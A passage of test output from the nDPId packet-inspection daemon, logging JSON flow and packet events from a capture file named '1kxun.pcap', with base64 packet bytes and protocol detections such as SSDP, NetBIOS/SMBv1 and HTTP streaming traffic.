3pViMQZHwOuMsYlxnBHMQR5jjggbM4c71o+NnCy+1m36iG22fZkNvuM5kTFPUCGZTGQGySCyjoCOvfXEkNvzhbv64bw431tFtqpmp9w0FPFaXEkYFUyzQMQMt0wEY9cdtSQRybE418QrLw\/2BuHYlPtjb+15qd6i4y1iO8yxKEyFDE8xXmwoB6kZIA1HQkmLxt7i\/wx4m8RazaGxF3Za97SPNT1Mc4U0sjmQ\/Gvf4TKwwcA4B5h1GuIIc8DeJOydh8NdxWO10963Hta41FdX2lJh1ErowVWzhioTDYz1bpnGuOHcfD3ilvaq4pcQ7\/tA2O4X7b5tVrs3jq0sh+yGckjGBEOrcuSxwMDXHEhxL4Y78ufsq8OtrW\/blRUXyz10MtdRLJGHiVVmBOS3KerL2PnrjjrV2PjDwr4kcQKrZ+wRuq1b0lNRTVKTBTSyMXIEi5\/dMrAg4BwCGHXXHBc9lrh9c+G3CGh29e2j\/aks8tZVRxuGWJ3xhAw6EhVXJHTOcZGoZIUWUY1FHISdSDnXWWT7HTUljs6Y6a6yqfuNJYgpLLqSGjiKQqep1zRyYuJsjvqCeDt4mRnOuomkNqytp6WFpqiZIol+87HAH11zpK2crbpIH6catk+\/wAVFG11nkmk8OL3ehabnPMFBwhJAye5A0FaiHuMPTZEraCDZbtbrvRistlZDVwE4542zg+h8wfkdXjJSVxYvODi6aJDmHfOpKn3MPXUnHOR664mkfa45o5GfTXFWdtSQfak45Cdc6g4+IxrjjjXHFB4t8WNrcN0poLvJLUXOsUvS0MCkySAHHMT+6uemep9AcarKW1BMWN5HRAbJ4+7T3DU0lBUxS265VDCP3WRviRyCQPiC5BAyGHQ9u+hefXVB5aVrmLsLUEsU8KTQypLE6hkdDkMD5g6OueUKNVwzvjXHHx6jGuOE28hqCwi3fUosjOXGrjvvHbF+ig23brS1DNGGU1kDvKOpBJw4Hl2x+eklqbbo0sWgjKFt8l34XcVYN0bVgqL5HFR3gIviRRAiOcsSAY8kkduoPb1xq+LVxkmpdUA1Ojl"} +02116{"flow_id":31,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":239814,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUU7pZAADYGjutquyP2wKhzCABQwcMVSZAcyIjfxlAQAO2FDAAAjlUeUK1287lRS1U9VLbqSipsGSWbosYIz1YsNDeryN1FHLSQSts5t3GHh\/cFSGm3TavfGIQQvPyZb5FsDGmvOWzc1yLPA1KuxKQ7muyyoJKemeIEiQICGIzgEHP10otZK+VwNPTQrhma+Mu\/Nyb54mVez7PUyUiW+qanpI4MgyHszy5OAB8+g+er5ZqS3y6BNPj2+mP1HWh9m7iM9cldbt1UlHO452nWodSSeuOmfPzGhRzRmq22gmTH5f8AVz9hXZE\/ELhbxDh2zepKj3yoqY\/Cq4y09PUxPgdQcZUHqezdCMjUqex7o\/2I2rJCp\/3Nc2ivlkogtZNHLUxZWVo4iisw9FJOO\/bJ0xjz7k93DEp4trSXcay3ivWtMUMUBQd+ZSSP10F6qbbpIJ+Hjttsk4rkhhHiLicj7g8\/mPloyzLbbASxNSpCIuVWpQMsTFuuAp64+uhfiJKgnkpj565ciKIZkIyQR0UfPRnnVekGsL6voM3vRiqJInCu0LIJkUHmAbPKf00H8U4v1IKtLuVoXrbn4YPuyhivcsOnbRMmo2\/SDx4L+o4orzGY3NYVjKgsGA6Ef8dRj1CknuOyYHF+khZNxXmc1MlLT0scKZMIkVixHTvgjroD1s23tXAxHSQSW5ux\/T7gWCwy191VIpYELSBM8rYyeme3bR8eqUoXLqAyadqe2PQxNvipXilx2eu3O1Rb6dKaDFNGwASMLnl5\/LqT18zntoWfUShDclbZoaPSwnPa3wg70XCPhNebN47WyJmhUA1yXJxNCw7HxA\/Qj56Vx5cklbCZscYypFv2nW3fa8tBt+Kup7xaC5MNY7c0pjwRykqeXmDA9R0OR0HbTHnyxJKuBb8NjzKUm6aLhufcLUFoeot0aTVATnAkB5VAxnOPP5aNm1SjFOPIvp9I8mTbPhEJtHelfcqqoW6QUsVPCisXhVgQScdck9NBx65ylUlwNarw6OKKcHbLFW3RgQ1KY2j8n+8GPy+Xz0bJqNrqIljwbvqOKW4q6H3hlVgMkjoCM4\/PV8WoUl6upM8Lj0M0cfrN4tTbp0hVQ3MnQdR1Y4\/TWVN1I3tE\/S0THDCho7Tbqe4XZ0hpUpmMksi4VFAZuY+gAXOrYerYDVvml7lUpKSt477grK2Cv\/Yu2KCo8KkjaHxZKhx08VkJCjp65Ppjro7flP5YHHDfG+yGXFnhLScOIqe+BJ75ZZwI65WCpJG+SedTjA6dh2yMeerScnSuvb\/grBw5aX3DDwuoFpNu0cVFcPfrWyCWl5weaONxzKMHsO\/TsCCB8l4NuXJObauUig76htmzd9bt3MLa09bXUEMSLCjDmLuCxZ8EIeWF8kgZyo6knTTg54ttlMc1DIpUXLY\/F6zS2ulp227uJapYudIEozJzL2B5h0GSCATjPYddLwxvF8pDGd+dLcuNxM7ivlXfqS11sW06uE08\/vay1YAaJFKhl5SAQx5hy4yCVwdGTi4t+wqsc1NR9y70cTpVTS83R5CQG6d1yOmuguGAm6pM70oiknYpJGzDJIDAnGqKLsv5kJKk7FzJSiYf3xEPgI\/lBjoR\/wAdGoE8kauyH3vbaa67blSF1kqoVZ6YLUBPtD9QPz6aJjbi0zI8XwQ1emlGLuS+mnXP9yq0227nHV2A2k+DURxM1c7TiUJKV7lS3UfIdNGUou7M"} +02114{"flow_id":31,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":239860,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUU7pdAADYGjupquyP2wKhzCABQwcMVSZUIyIjfxlAQAO0vOwAAJeG6iH4fyeHTcub5r2vn9CKG19wRxW9J7e8jRiQTxe9oGJLHlz8Y8sas3FWZ8fDtYljUo3V2ty7tfITbYKeO1xQOEpGWJV8B5wzREKByk56keukZpttnvtJOGPDCL9NJcN8oXqxSLTineeAS4VeRnGerAds5651V4\/SMedHfSfJ3pYafDxxSxOSD0VgT5ajy6TJ8+MnwyN3TLbxs68yNOpjippS\/Ict8KE9B66mKSi2XipSyKK7mWbDsKhvu3f8ApFcLp7sLvdZKWnMkQcRhEyCVPQjv07Z1TPNwipRNHRwUpSxS4fUvW29pWyyboum0aKzVVVZ7naIkuNTBSReEZy+VcqcJ0yTygHoDnOhRm8rtsJOCxwXHIUbRtam27DZqSF6RnhqJIy0FMlOrhkB\/k0HLn7MHIx20afT9RKLtt\/H+5MX1Yv2RWKSC2HBA64OF\/XqPz0PL9JXTt+avuQu26YJS1y4PMY0B\/wBI6FDuN6p3t\/UsdBTo9tVYm5lHMEIOR95tMyRnwdHW9pHBbIed1RmqKdE5mxljKuB8z8tWSpP7FXL1IpPFa1Cpo6eYKpWCbK+eCc\/ppfOq5H9DOpNMHntE0VRauE1I8MDeBFJErhT15yrBc\/5IyxPqcavhj6kCyTttsqnsjpdbjELQsskNpq5apKqaOfkljdBzB0IGVzlRkn8NHzxi5qP2IwzlDDur\/wCmhtv7ZkXbtwsu5blDeqGqDQiExNgIcg5LMxY\/Py0PdxbfQ6at+lUZ04Sb0v8AsLdFfwvvEoqIqeeRbXWA82CrMwT5hgpyvkc465zbIrj5kf1REF6vLl+j9wsbolpno90XeHwHguUkAjeWLxUXEEEiNjzGGZT+I10n6a90Vw8Tr2bKrY+Is6b4qqO1xW33Gaggglq5T9ojKwykSKVwBzMeh9D1xjS8U1B0rbNDJjU5Lnhf5DBSX6C40sNNE9Q8UkwDSy5BblcDlIPYk4\/hqIZd3poWnh2etEvewjRQPOwA99Qo3NgL8DgZ8vPTuN2+DJ1FbH9n\/gG1gtFdbZxVQVFl8aKmmVSLjH1ZlIDdD5Z88jTU5xkqaZ4HRaLNppLJCUNyjL+tdX3\/AE+TvR7djoZqijuFRbqiKa3PNTkVA5UmIQBzk9O4wex+mollTakhrT+FvDjyYMsouMoqS9S4lXD+3PXoS0W2LdVcPmgpIrbNd4kDSSpUKQjc2SS2cD4Bj6ajzfXb6Bl4Thy+GbMai8q6tNUn9+nQaW2iW1bqjvFiFlkgpKeOKRWuCRq0zRYc5J9c9vTVk27UinkRwZcOfS7HtjT9SXqd2d\/2e53XNe6yKw1MM86SFWuURCHAzg9yR36Y7DXNpQrkDHA3rJanIoNNp\/UuP\/h3t1lt9Tuutut3qrX+zpppXhE00ZMw8Vh2JyB0PUemqubUEo9R\/JosGXxGefPOOxpNW1zX+PuRlRaZKS5U7yT22ZxdEl99SsRpXR3RVHJnOBnmJ8hk6sslq+TOXh0450nON7m925W01wq\/91JHY9gkt+5LRUtV2iRkeRZUhrYy4JBC4wcv+Hlqckk4tFvC9C8GqxTcot82lJd+lV1L\/XW+lF1tMLxAxzvURyIWJBXwWHKPljSkF6We5lOSkmnygH8Xtvw7U25abGs88VvG4KidC0nRI2jXkIPfAyQc9jzfLQ5xW1RN"} +00408{"flow_id":25,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":194,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":251728,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUexAAIAGmEHAqHMI3kn+p8G+AFDrM0IUhwePWlAQAQGYeAAA"} +00408{"flow_id":25,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":195,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":251779,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUexAAIAGmEHAqHMI3kn+p8G+AFDrM0IUhwePWlAQAQGYeAAA"} +00578{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":196,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":271247,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChMMsAAAER0qXAqAU57\/\/\/+toBB2wAjcGgTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00578{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":197,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":271401,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYzEACABFAAChOp0AAAERyODAqAUs7\/\/\/+si9B2wAjdLxTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00464{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":198,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":271484,"pkt_caplen":92,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":92,"pkt_l4_len":38,"pkt":"MzMAAQAD\/PiuMpcsht1gAAAAACYRAf6AAAAAAAAA6Y+64hn3aw\/\/AgAAAAAAAAAAAAAAAQAD1mgU6wAmi+DsIAAAAAEAAAAAAAAM5bCP5L2b5bCI5qmfAAD\/AAE="} +00434{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":199,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":271492,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"AQBeAAD8\/PiuMpcsCABFAAA6KxsAAAER6ZTAqANf4AAA\/NZoFOsAJg3d7CAAAAABAAAAAAAADOWwj+S9m+WwiOapnwAA\/wAB"} +00469{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":387,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":520893,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABxCjnAxCABFAABOUgMAAIAR9ELAqHMIwKj\/\/wCJAIkAOha6seYBEAABAAAAAAAAIEZIRkFFQkVFQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00469{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":388,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":520951,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/ABxCjnAxCABFAABOUgMAAIAR9ELAqHMIwKj\/\/wCJAIkAOha6seYBEAABAAAAAAAAIEZIRkFFQkVFQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":389,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1470104379579,"flow_last_seen":0,"flow_tot_l4_data_len":252,"flow_min_l4_data_len":252,"flow_max_l4_data_len":252,"flow_avg_l4_data_len":252,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.67","dst_ip":"192.168.255.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00733{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":389,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":579523,"pkt_caplen":286,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":286,"pkt_l4_len":252,"pkt":"\/\/\/\/\/\/\/\/jHNut5QdCABFAAEQAABAAEARs0nAqAVDwKj\/\/wCKAIoA\/P+KEQouQ8CoBUMAigDmAAAgRkRFQkVPRUtFSkNORU1FSkVHRUZFQ0VQRVBFTENOQUEAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJPAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAATAAAAAAAAAAAAAAAAAAAAAAAAABMAFYAAwABAAEAAgBdAFxNQUlMU0xPVFxCUk9XU0UAD1DgkwQAU0FOSkktTElGRUJPT0stTAQJA5qEAA8BVapzYW5qaS1MSUZFQk9PSy1MSDUzMSBzZXJ2ZXIgKFNhbWJhLCBVYnVudHUpAA=="} +00554{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":389,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1470104379579,"flow_last_seen":0,"flow_tot_l4_data_len":252,"flow_min_l4_data_len":252,"flow_max_l4_data_len":252,"flow_avg_l4_data_len":252,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.67","dst_ip":"192.168.255.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00700{"flow_id":35,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":390,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":579704,"pkt_caplen":263,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":263,"pkt_l4_len":229,"pkt":"\/\/\/\/\/\/\/\/jHNut5QdCABFAAD5AABAAEARs2DAqAVDwKj\/\/wCKAIoA5V88EQouRMCoBUMAigDPAAAgRkRFQkVPRUtFSkNORU1FSkVHRUZFQ0VQRVBFTENOQUEAIEFCQUNGUEZQRU5GREVDRkNFUEZIRkRFRkZQRlBBQ0FCAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAANQAAAAAAAAAAAAAAAAAAAAAAAAA1AFYAAwABAAEAAgBGAFxNQUlMU0xPVFxCUk9XU0UADFDgkwQAV09SS0dST1VQAAAAAAAAAAQJABAAgA8BVapTQU5KSS1MSUZFQk9PSy1MSDUzMQA="} +00468{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":396,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":887477,"pkt_caplen":98,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":98,"pkt_l4_len":44,"pkt":"MzMAAQACcD6s8PAHht1gBWEEACwRAf6AAAAAAAAABAZVqGRTJd3\/AgAAAAAAAAAAAAAAAQACAiICIwAsiDQLJ3MdAAEADgABAAEduOb7cD6s8PAHAAYABAAXABgACAACATQ="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":397,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1470104379903,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"106.185.35.110","src_port":49605,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":397,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":903616,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UgZAAIAG5uXAqHMIarkjbsHFAFDej0WbAAAAAIACIACnvwAAAgQE7AEDAwgBAQQC"} +00423{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":398,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":903698,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UgZAAIAG5uXAqHMIarkjbsHFAFDej0WbAAAAAIACIACnvwAAAgQE7AEDAwgBAQQC"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":399,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1470104379916,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"106.185.35.110","src_port":49606,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":399,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":916887,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UgdAAIAG5uTAqHMIarkjbsHGAFDBDvagAAAAAIACIAAUOgAAAgQE7AEDAwgBAQQC"} +00423{"flow_id":37,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":400,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":916943,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UgdAAIAG5uTAqHMIarkjbsHGAFDBDvagAAAAAIACIAAUOgAAAgQE7AEDAwgBAQQC"} +00423{"flow_id":36,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":401,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":940364,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0AABAADYGguxquSNuwKhzCABQwcUqRAQo3o9FnIASchAmawAAAgQFtAEBBAIBAwMH"} +00408{"flow_id":36,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":402,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":940552,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUghAAIAG5u\/AqHMIarkjbsHFAFDej0WcKkQEKVAQAQTYSQAA"} +00408{"flow_id":36,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":403,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":940588,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUghAAIAG5u\/AqHMIarkjbsHFAFDej0WcKkQEKVAQAQTYSQAA"} +00858{"flow_id":36,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":404,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":941700,"pkt_caplen":390,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":390,"pkt_l4_len":356,"pkt":"TF4M6gNlABxCjnAxCABFAAF4UglAAIAG5Z7AqHMIarkjbsHFAFDej0WcKkQEKVAYAQTdGwAAR0VUIC9hcGkvdmlkZW9zLzEwNDEwLmpzb24gSFRUUC8xLjENCkNsaWVudC1WZXJzaW9uOiAxLjIuMS4wDQpDbGllbnQtVWlkOiBGMzU2QzI1NzVBNTgyMDdGQjg5OEY1MjU2RjM0RjFDOA0KQ2xpZW50LVNvdXJjZTogMWt4dW4NCkNsaWVudC1PczogTWljcm9zb2Z0IFdpbmRvd3MgTlQgNi4xLjc2MDEgU2VydmljZSBQYWNrIDENCkNsaWVudC1MYW5ndWFnZTogemgtVFcNCkNsaWVudC1SZXNvbHV0aW9uOiAxMTE2LDgzOA0KQ2xpZW50LUJyYW5kOiBXSU5ET1dTDQpDbGllbnQtRGV2aWNlOiBQQw0KSG9zdDoganAua2Fua2FuLjFreHVuLm1vYmkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00663{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":404,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":6,"flow_first_seen":1470104379903,"flow_last_seen":1470104379941,"flow_tot_l4_data_len":492,"flow_min_l4_data_len":20,"flow_max_l4_data_len":356,"flow_avg_l4_data_len":82,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"106.185.35.110","src_port":49605,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"jp.kankan.1kxun.mobi","url":"jp.kankan.1kxun.mobi\/api\/videos\/10410.json","code":0,"content_type":"","user_agent":""}} +00858{"flow_id":36,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":405,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":941736,"pkt_caplen":390,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":390,"pkt_l4_len":356,"pkt":"TF4M6gNlABxCjnAxCABFAAF4UglAAIAG5Z7AqHMIarkjbsHFAFDej0WcKkQEKVAYAQTdGwAAR0VUIC9hcGkvdmlkZW9zLzEwNDEwLmpzb24gSFRUUC8xLjENCkNsaWVudC1WZXJzaW9uOiAxLjIuMS4wDQpDbGllbnQtVWlkOiBGMzU2QzI1NzVBNTgyMDdGQjg5OEY1MjU2RjM0RjFDOA0KQ2xpZW50LVNvdXJjZTogMWt4dW4NCkNsaWVudC1PczogTWljcm9zb2Z0IFdpbmRvd3MgTlQgNi4xLjc2MDEgU2VydmljZSBQYWNrIDENCkNsaWVudC1MYW5ndWFnZTogemgtVFcNCkNsaWVudC1SZXNvbHV0aW9uOiAxMTE2LDgzOA0KQ2xpZW50LUJyYW5kOiBXSU5ET1dTDQpDbGllbnQtRGV2aWNlOiBQQw0KSG9zdDoganAua2Fua2FuLjFreHVuLm1vYmkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00424{"flow_id":37,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":406,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":954670,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0AABAADYGguxquSNuwKhzCABQwcaIrnkOwQ72oYASchC\/lAAAAgQFtAEBBAIBAwMH"} +00407{"flow_id":37,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":407,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":954937,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUgpAAIAG5u3AqHMIarkjbsHGAFDBDvahiK55D1AQAQRxcwAA"} +00407{"flow_id":37,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":408,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":955007,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUgpAAIAG5u3AqHMIarkjbsHGAFDBDvahiK55D1AQAQRxcwAA"} 